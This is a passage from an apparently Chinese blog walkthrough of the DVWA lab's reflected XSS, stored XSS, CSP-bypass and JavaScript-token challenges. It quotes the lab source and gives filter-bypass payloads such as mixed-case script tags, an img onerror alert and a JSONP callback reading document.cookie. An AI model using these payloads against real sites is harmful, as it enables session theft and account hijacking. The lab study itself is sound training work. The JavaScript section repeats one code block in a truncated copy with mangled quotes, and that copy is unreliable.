直接通过$_GET方式获取name的值,之后未进行任何编码和过滤,导致用户输入一段js脚本会执行。
直接构造

2.Medium级
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
$html .= "<pre>Hello ${name}</pre>";
}
?>
对
1.双写绕过
输入<sc<script>ript>alert(/xss/)</script>,成功弹框:

2.大小写混淆绕过
输入<ScRipt>alert(/xss/)</script>,成功弹框:

3.High级
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
漏洞利用
虽然无法使用

4.impossible级
Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
12.Stored Cross Site Scripting (XSS)(存储型XSS)
存储型xss的不同之处在于它可以将用户构造的有害输入直接存储起来,不需要攻击者构造链接诱使受害人点击触发,而是目标网站的用户只要访问插入恶意代码的网站就能触发,相比较反射型xss更为隐蔽,危害更大,受害者也会更多。
靶场练习
<?php
if(isset($_POST['btnSign'])){
// Get input
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = stripslashes($message);
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
源码对我们输入的 message 和 name 并没有进行 XSS 过滤,直接将数据存储在数据库中,存在存储型 XSS 漏洞。
攻击方式
直接在 Message 注入 payload,服务器成功弹出页面。这种攻击是永久性的,每次切换到这个页面都会弹出,除非开发者删除数据库内容。

2.Medium级
<?php
if(isset($_POST['btnSign'])){
// Get input
$message = trim($_POST['mtxMessage']);
$name = trim($_POST['txtName']);
// Sanitize message input
$message = strip_tags(addslashes($message));
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
addslashes() 函数在每个双引号前添加反斜杠,返回在预定义字符之前添加反斜杠的字符串。
strip_tags() 函数用于剥去字符串中的 HTML、XML 以及 PHP 的标签
htmlspecialchars() 函数用于把预定义的字符 “<” 和 “>” 转换为 HTML 实体。
可以看到 Message 参数对所有的 XSS 都进行了过滤,但是 name 参数只是过滤了 < script > 标签而已,我们可以对 name 参数进行注入。
攻击方式
由于 name 参数有输入限制,因此我们需要抓包改参数,注入的 JS 脚本可以用大小写绕过。
Copy Highlighter-hljs<SCRIPT>alert('xss')</SCRIPT>
3.High级
name 参数 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本。
攻击方式[
HTML 的 < img > 标签定义 HTML 页面中的图像,该标签支持 onerror 事件,在装载文档或图像的过程中如果发生了错误就会触发。使用这些内容构造出 payload 如下,因为我们没有图片可供载入,因此会出错从而触发 onerror 事件。
Copy Highlighter-hljs<img src = 1 onerror = alert('xss')>
4.impossible级
使用内置的PHP函数(例如 “htmlspecialchars()”),可以转义任何会改变输入行为的值。
13.Content Security Policy (CSP) Bypass(内容安全策略)
概念
CSP(Content Security Policy,内容安全策略)是一种用来防止XSS攻击的手段
通过在头部Content-Security-Policy 的相关参数,来限制未知(不信任)来源的JavaScript脚本的执行,从而达到防止xss攻击的目的。一般的xss攻击,主要是通过利用函数过滤/转义输入中的特殊字符,标签,文本来应对攻击。CSP则是另外一种常用的应对XSS攻击的策略。其实质就是白名单机制,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
靶场练习
1.Low级
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
从源代码中$headerCSP可以看出来,这里定义了几个受信任的站点,只能允许这几个站点的脚本才可以运行。
想要绕过,必须在指定的网址内插入JavaScript脚本,否则,都会被过滤:
去授信任的网站插入JavaScript脚本:https://pastebin.com/

插入完成



插入成功
2.Medium级
源代码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
?>
unsafe-inline:允许执行页面内嵌的
nonce:每次HTTP回应给出一个授权 token,页面内嵌脚本必须有这个 token,才会执行
这里就是使用了unsafe-inline 和nonce ,所以页面内嵌脚本,必须有这个token才可以执行
查看页面源代码


3.High级
源代码
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
?>
CSP只允许加载self 也就是本页面的脚本
分析代码,可使用攻击post请求提交参数

include=<script src=source/jsonp. php? callback=alert(document. cookie)>
14.JavaScript Attacks( 前端攻击)
概念
JavaScript是一种功能强大且多用途的编程语言,广泛应用于Web开发。然而,由于其动态性,JavaScript也可能成为攻击者利用的漏洞。
JavaScript攻击包括:
- 跨站脚本攻击(XSS):通过注入恶意JavaScript代码来盗取用户数据或控制用户浏览器。
- 恶意软件:通过在网页中嵌入恶意JavaScript代码,将用户的计算机感染为恶意软件。
- 点击劫持:通过操纵用户的鼠标和键盘,来实现恶意行为。
- 数据劫持:通过读取和修改页面中的数据,来获取敏感信息。
靶场练习
1.Low级
1.主页面提示输入seccess就成功
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qLIedoBm-1676275470519)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230213152819360.png)]](https://i-blog.csdnimg.cn/blog_migrate/830f7e6b7c3a060494cd5e75cf2543ee.png)
但是输入“success”后提示token错误
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SmFctCAE-1676275470519)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230213153526933.png)]](https://i-blog.csdnimg.cn/blog_migrate/a0ebfdb4f0f93f267970be5f29fba1bd.png)
检查页面源代码,发现token的值由md5(rot13(phrase))决定的

通过console 控制台直接拿到token值
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mkaMDW2J-1676275470519)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230213153759334.png)]](https://i-blog.csdnimg.cn/blog_migrate/8bd60d67fc8639880ab42d8ca0d47bc0.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wgNfyeVf-1676275470519)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230213153820197.png)]](https://i-blog.csdnimg.cn/blog_migrate/176cfd220782fa959c910601eafcd5fa.png)
token:38581812b435834ebf84ebcc2c6424d6
接下来直接post请求提交,即可成功
token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IeLZ6Jwi-1676275470520)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230213154337176.png)]](https://i-blog.csdnimg.cn/blog_migrate/b3031a4f660e00ca4fe5e2db24130fdc.png)
2.Medium级
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
setTimeout(function () {
do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
发现这段代码就是将phrase变量的值逆序,也就是sseccus;生成的token值=XXsseccusXX
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MYRk2JNs-1676275470520)(C:\Users\35575\AppData\Roaming\Typora\typora-user-images\image-20230213154808147.png)]](https://i-blog.csdnimg.cn/blog_migrate/0f7471e81dbdf63f4bd41d43740b55cf.png)
3.High级
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
代码的执行顺序是这样的
首先将phrase 的值清空
document.getElementById(“phrase”).value = “”;
token_part_1(“ABCD”, 44);
调用函数
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
接着自动延时300 执行
setTimeout(function() {
token_part_2("XX")
}, 300);
调用函数
function token_part_2(e = “YY”) {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
即生成的"XX"的sha256值
接着当我们点击提交的时候,就会触发 click 事件:
document.getElementById(“send”).addEventListener(“click”, token_part_3);
然后调用token_part_3()函数
这里生成 token 的步骤是:
1、执行token_part_1(“ABCD”,44)
2、执行token_part_2(“XX”)(原本是延迟300ms执行的那个)
3、点击按钮的时候执行
“”, n = e.length - 1; n >= 0; n–) t += e[n];
return t
}
function token_part_3(t, y = “ZZ”) {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = “YY”) {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById(“phrase”).value = “”;
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById(“send”).addEventListener(“click”, token_part_3);
token_part_1(“ABCD”, 44);
代码的执行顺序是这样的
首先将phrase 的值清空
document.getElementById("phrase").value = "";
token_part_1("ABCD", 44);
调用函数
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
接着自动延时300 执行
setTimeout(function() {
token_part_2("XX")
}, 300);
调用函数
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
即生成的"XX"的sha256值
接着当我们点击提交的时候,就会触发 click 事件:
document.getElementById("send").addEventListener("click", token_part_3);
然后调用token_part_3()函数
这里生成 token 的步骤是:
1、执行token_part_1("ABCD",44)
2、执行token_part_2("XX")(原本是延迟300ms执行的那个)
3、点击按钮的时候执行
token_part_3所以我们在输入框输入 success后,再到控制台中输入token_part_1("ABCD",44)和token_part_2("XX")这两个函数就可以了。




694

被折叠的 条评论
为什么被折叠?



